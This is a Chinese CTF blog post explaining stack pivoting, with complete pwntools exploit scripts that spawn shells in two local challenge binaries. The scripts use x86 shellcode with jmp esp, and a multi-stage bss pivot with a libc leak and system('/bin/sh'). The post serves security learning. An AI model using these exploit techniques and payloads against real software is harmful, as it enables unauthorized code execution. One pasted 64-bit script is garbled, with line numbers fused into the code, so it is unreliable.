栈迁移原理介绍与应用 - Max1z - 博客园

介绍

我们首先介绍一下Stack pivoting的含义:该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP。一般来说,我们可能在以下情况需要使用stack pivoting:

  • 可以控制的栈溢出的字节数较少,难以构造较长的ROP链
  • 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写rop及进行堆漏洞利用
    此外,利用 stack pivoting有以下几个要求
  • 可以控制程序执行流
  • 可以控制sp指针。一般来说,控制栈指针会使用ROP,常见的控制栈指针的gadgets一般是pop rsp/esp
    当然,还会有一些其它的姿势。比如说libc_csu_init中的gadgets,我们通过偏移就可以得到控制rsp指针
    上面是正常的,下面是偏移的
    Pasted image 20250217164554
    此外,还有更加高级的 fake frame
  • 存在可以控制内容的内存,一般有如下
  • bss段。由于进程按页分配内存,分配给bss段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且bss段分配的内存页拥有读写权限。
  • heap。但是这个需要我们能够泄露堆地址

示例1

ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w at master · ctf-wiki/ctf-challenges

32位,保护全关,泪目Pasted image 20250217165404

有输入点,测一下偏移
Pasted image 20250217170719

36个可以覆盖到返回地址,32个覆盖到ebp(栈底)
Pasted image 20250217182115

只能溢出14个字节,很难执行一些比较好的ROP,考虑栈迁移
没有开启堆栈保护,我们可以在直接在栈上布置shellcode并执行
思路如下:

  • 利用栈溢出布置shellcode
  • 控制eip指向shellcode处

    payload的长度为44字节,其中的shellcode_x86长度为22字节,不能直接将shellcode注入栈中,否则会破坏栈

可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制程序跳转至esp处。那下面就是找控制程序跳转到esp的gadgets了
我们搜索一下可以控制程序跳转到esp处的gadgetPasted image 20250217193710我们需要jmp esp
因此将shellcode布局如下
shellcode|padding|fake epb|0x08048504|set esp point to shellcode and jmp esp|
Pasted image 20250217205904

exp

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * b'b' + b'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

Pasted image 20250217180521
先把字节码转为汇编
getshell!
Pasted image 20250217210219

示例2(x86)

参考:32位以及64位栈迁移的具体分析与学习-CSDN博客
Hitcon-Training lab1-lab15

栈迁移的技术,分为32位和64位ELF,我们先来学习32位栈迁移
明确一个观点,栈的内容即程序EIP执行的流程(因为我们总是覆盖函数的返回地址)
栈中的内容都是栈:函数 返回地址 参数

原理

栈迁移正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。我们可利用该技巧来解决栈溢出空间大小不足的问题
我们进入一个函数的时候,会执行call指令

call func();    //push eip+4;  push ebp;   mov ebp,esp;

call func() 执行完要退出的时候要进行与call func相反的操作(恢复现场)维持栈平衡!
leave;          //mov esp,ebp;  pop ebp;
ret ; // pop eip

栈迁移的核心思想就是将栈 的esp 和 ebp 转移到一个输入不受长度限制的且可控制的地址处,通常是 bss 段地址。
在最后ret 的时候 如果我们能够控制栈顶 esp指向的地址就想到控制了程序执行流!
栈的迁移技巧在CTF pwn挑战中的应用-CSDN博客

xxxxxxxxxx28 1from pwn import 2context(os=’linux’, arch=’amd64’, log_level=’debug’)3​4io = process(‘./pwn2’)5elf = ELF(‘./pwn2’)6​7vul = 0x4009E78write = 0x4009DD9​10pop_rdi = 0x4014c611pop_rsi = 0x4015e712pop_rdx = 0x44262613jmp_rsi = 0x4a331314mov_rdi_esi = 0x47a3b315​16payload = “A”0x8817payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym[‘stack_prot’]) + p64(mov_rdi_esi)18payload += p64(pop_rdi) + p64(elf.sym[‘libc_stack_end’]) + p64(elf.sym[‘_dl_make_stack_executable’])19payload += p64(vul)20​21io.sendlineafter(‘welcome~\n’, payload)22​23shellcode = asm(shellcraft.sh())24payload = shellcode.ljust(0x88, “A”) + p64(jmp_rsi)25​26io.sendline(payload)27​28io.interactive()python

payload1

Pasted image 20250218144214
Pasted image 20250218163306

pay1=b'a'*(0x28)+p32(buf)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
payload2=p32(buf1)+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)
payload2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
payload3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
payload3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)

具体流程详见excel

from pwn import *

io=process('./migration')
elf=ELF('./migration')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level="debug"

buf=elf.bss()+0x500
buf1=elf.bss()+0x400
print(hex(buf1))
read_plt=elf.plt['read']
leave_ret=0x08048504
# 0x08048504 : leave ; ret
payload1=b'a'*(0x28)+p32(buf)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
io.sendafter(b'best :\n',payload1)

puts_plt=elf.plt['puts']
pop_ebx_ret=0x804836d
puts_got=elf.got['puts']

payload2=p32(buf1)+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)
payload2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)

io.sendline(payload2)

puts_addr=u32(io.recv(4))
success("puts_addr ==> "+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
system_addr=libc_base+libc.symbols['system']
print(hex(system_addr))

pop3ret=0x08048569
payload3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
payload3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)

io.sendline(payload3)
io.sendline("/bin/sh\0")
io.interactive()